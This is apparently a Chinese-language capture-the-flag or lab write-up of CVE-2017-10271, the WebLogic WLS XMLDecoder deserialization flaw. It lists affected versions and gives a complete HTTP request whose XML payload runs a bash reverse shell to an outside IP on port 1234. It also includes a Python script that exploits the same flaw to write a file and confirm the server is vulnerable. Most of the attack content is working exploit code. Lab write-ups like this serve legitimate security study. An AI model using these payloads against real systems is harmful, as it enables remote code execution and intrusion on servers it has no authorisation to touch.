漏洞描述
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限
受影响版本
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
环境搭建
使用vulfoces搭建漏洞环境
漏洞利用
- 访问地址http://47.101.62.20:27036/ 页面长这样
2. 访问http://47.101.62.20:27036/wls-wsat/CoordinatorPortType11,存在下图则有可能存在漏洞
3. 构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: 47.101.62.20:27036 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 756
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/47.101.62.20/1234 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
- 成功反弹shell,执行命令得到flag
poc验证脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #!/usr/bin/env python # coding:utf-8 import requests from sys import argv headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Upgrade-Insecure-Requests': '1', 'Content-Type': 'text/xml' } def Webogic_XMLDecoder_poc(url): #url="http://47.101.62.20:27036" posturl=url+'/wls-wsat/CoordinatorPortType' data = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println"> <string>xmldecoder_vul_test</string></void><void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> ''' print url try: r=requests.post(posturl,data=data,headers=headers,timeout=5) geturl=url+"/wls-wsat/test.txt" #print geturl check_result = requests.get(geturl,headers=headers,timeout=5) if 'xmldecoder_vul_test' in check_result.text: print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)" except: pass if __name__ == '__main__': if len(argv) == 1: print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001" exit(0) else: url = argv[1] Webogic_XMLDecoder_poc(url)
|